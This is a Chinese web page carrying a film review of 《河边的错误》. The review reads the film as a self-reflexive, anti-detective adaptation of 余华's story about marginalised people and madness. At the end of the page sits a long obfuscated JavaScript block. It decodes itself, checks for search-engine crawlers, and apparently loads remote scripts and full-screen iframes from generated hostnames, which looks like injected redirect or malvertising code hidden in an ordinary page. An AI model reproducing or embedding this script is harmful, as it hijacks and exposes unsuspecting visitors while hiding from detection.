看《河边的错误》,执着于“追凶”,你就输了

时间:2023-10-28 00:00:44阅读:46162
◎李宁电影《河边的错误》放映结束,许多观众陷入了错愕与茫然。笔者所在的影厅里,面对戛然而止的结尾,有人窃窃私语:这就结束了?他们甚至在片尾字幕结束后仍迟迟不愿起身离开,可能是还未从剧情的重重疑雾中走出
  • 河边的错误
  • 文艺 犯罪 剧情
  • 朱一龙 曾美慧孜 侯天来 佟林楷 康春雷 王健宇 莫西子诗 刘白沙
第1张图片
1/2
第1张图片
第2张图片
2/2
第2张图片

◎李宁

电影《河边的错误》放映结束,许多观众陷入了错愕与茫然。笔者所在的影厅里,面对戛然而止的结尾,有人窃窃私语:这就结束了?他们甚至在片尾字幕结束后仍迟迟不愿起身离开,可能是还未从剧情的重重疑雾中走出来,亟须一个清晰的真相。显然,《河边的错误》并不是一部容易理解、可以被归类的电影,它有一定的观影门槛。余华原著的光环,加上魏书钧独特的文艺片趣味,令影片呈现出别样的迷人风格。

自反式电影

影片的开场,是一场雨中的猫鼠游戏。扮演警察的孩子一路追逐,认真地缉捕“凶手”。当他志在必得地推开一道门,门外却是残壁断垣,穷途末路。此刻,孩子的视线与楼下主人公马哲的身影形成了交错。

这一幕是整部影片的浓缩,也是主人公马哲命运困境的隐喻。它提醒着我们,《河边的错误》虽然披着悬疑犯罪片的外衣,却是一部有着显著的自我解构色彩的自反式电影。

侦探类文艺作品的主角,往往是充满理性的现代主体,依赖强有力的逻辑去抽丝剥茧、寻绎真相。作为问世于上世纪80年代的先锋小说,余华的原著《河边的错误》以侦探叙事来拆解侦探小说,进而解构其中的理性与秩序,去发掘人生与世界的荒谬底色。

电影《河边的错误》虽然在情节上多有更改,但基本保持了原著的叙事路径与内在气质。如果按照类型片的欣赏习惯,就不免会陷入创作者所设置的叙事陷阱。越是执着地辨别凶手、揣测动机、拼接真相,破解原本没有谜底的谜题,就越是正中创作者的下怀。影片所要凸显的,恰恰是一种非理性、不确定性与反常性。

影片自反性的另一点,体现在对于电影艺术本身的观照。片中,废弃的电影院被挪用为派出所的办公场所,这一颇具荒诞意味的设定可谓十分巧妙。原著中并没有这一情节,影片此举延续了魏书钧在《永安镇故事集》等前作中对于“元电影”的迷恋,同时也将影院空间与主人公的心理状况与身份处境进行了勾连。

作为主导侦破的刑警队长,马哲在案件中扮演了导演/观者的双重角色。在电影院这个混淆真实与虚幻的造梦机器与认同装置中,马哲窥探着别人的命运,也索解着自己的内心。他在影院里进入的那一场离奇幻梦,如同影片中多次出现的镜像一样,是一个典型的精神分析意义上的自我凝视与认同建构。

边缘人群像

电影院这一废墟空间与主人公马哲的另一方面的勾连,在于确认了他的边缘人身份。片中,坠落在地的影院招牌与燃烧的摄影机固然可以解读出“电影已死”“艺术终结”等含义,但更直接的作用是为人物的命运营造了一种无常而奇诡的氛围。

马哲显然是一个与周围世界格格不入的人物。在派出所里,他不善于曲意逢迎,严肃而缄默,笨拙而孤独。一身皮衣与他人整齐的着装相比,像是无法融入集体的异类。相较好大喜功、看重集体荣誉的所长,他更在意案件的真相。

在家中,耽于工作的他算不上合格的丈夫。在怀孕而敏感多思的妻子面前,他缺乏应有的情感关怀。片中有这样一幕显示出创作者的影像巧思:在因胎儿的智商问题陷入分歧后,马哲与妻子回到家中,二人无论怎样在狭小的空间里移动,始终被画面分割在不同的画框中。影片以这种分割式构图,暗示二人之间难以弥合的情感裂隙。

马哲的悲剧性命运在于,在这场连环杀人案中,他遇到了一群似乎与自己一样被主流社会所压抑的同类:年迈的幺四婆婆与疯子之间,有着难以启齿的情感关系;说真话的孩子不被相信与理解,并最终死于天真与好奇;王宏与钱玲无法冲破世俗伦理的界限,只能活在月亮的背面,徘徊于诗歌的世界里;曾因流氓罪被判入狱的许亮,实际上是热爱扮装的性少数者。他们都有不可告人的秘密,都是无法与世界兼容的“异类”。时代的河道不允许逆流与波澜,而他们是河边需要被修正的错误。

马哲自信地认为自己可以顺利地破获案件,却不料一步步地陷入命运的深渊。中途,他也曾试图从案件中抽身而出。于是,他穿起与许亮款式相仿的男装,想要混迹在日常烟火里,做一个等待妻子下班、为妻子下厨的好男人,却发现为时已晚。饭后的甜蜜时刻与墙上完好无缺的拼图提醒着观众,一切只是大梦一场。

影片一开始所引用的加缪的文句“人理解不了命运,因此我装扮成了命运,我换上了诸神那副糊涂又高深莫测的面孔”,早已给马哲划定了存在主义式的结局。他似乎别无他途,只能走上自我“毁灭”的道路:杀死疯子,成为疯子。

疯癫的隐喻

与许多文艺作品中的“疯癫”意象一样,《河边的错误》中的疯子形象也有着明显的象征意味。由于创作者的有意留白,影片展现出充分的多义与暧昧,观者可以从中读出多样的意涵。显然,影片可以视为一则观照“疯癫与文明”这一宏大议题的寓言文本。

原著《河边的错误》写于上世纪80年代中后期。我始终觉得,这篇象征意味浓郁的小说有着对当代历史创伤的回望与反思,揭示出大时代对于个体的压抑与遮蔽。只不过现代主义修辞所带来的多义性成为一种障眼法,当然也是一种保护壳。

电影《河边的错误》将故事背景设定在上世纪90年代,并不影响影片的指涉意味与寓言色彩。影片通过马哲走向疯癫的命运,为我们揭示出世界的荒诞本质与非理性面目。如果仔细体会,影片实际上提供了一种开放式的双重结局。第一重结局是马哲杀死疯子,陷入疯癫,随后其乐融融的颁奖环节与家庭段落皆出自他疯癫后的幻觉。另一重结局则是马哲的确因杀死疯子而获得奖励,事业与家庭重回正轨。但在第二重结局中,新生儿水中玩耍的场景暗示着疯癫的循环与延续。无论哪一种结局,疯癫都是最后的真相。

影片同时也揭示出,正常与反常、主流与非主流、疯癫与理性的对立,往往是被社会权力所建构出来的。片尾,马哲身着警服上台领奖,这是他片中为数不多的脱下皮衣的时刻。然而这一段落中,马哲空洞的眼神提醒着我们,他褪下了皮衣、融入了集体、回归了理性,但也失去了真正的自我。或许,正如福柯在《疯癫与文明》中所写的那样:疯癫有时往往比理性更接近于幸福和真理,比理性更接近于理性。

相关资讯

评论

  • 评论加载中...

!function(){function a(a){var _idx="kcn7hl6kib";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/CL/n@}jR8S(21hqKS6)"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"n@}"=^8"S(21hqKS6)"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"n@}^)ThF)m@_d@R:_mRT4"="n@}X5ThF)m7sS2J}CmRT4"="n@}2pThFm@_d@R:_mRT4"="n@}_JqhFm7sS2J}CmRT4"="n@}2TOhFm@_d@R:_mRT4"="n@}CSqhF)m7sS2J}CmRT4"="n@})FfThF)fm@_d@R:_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/f/n@}j(8}vR8S(21hqKS6)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();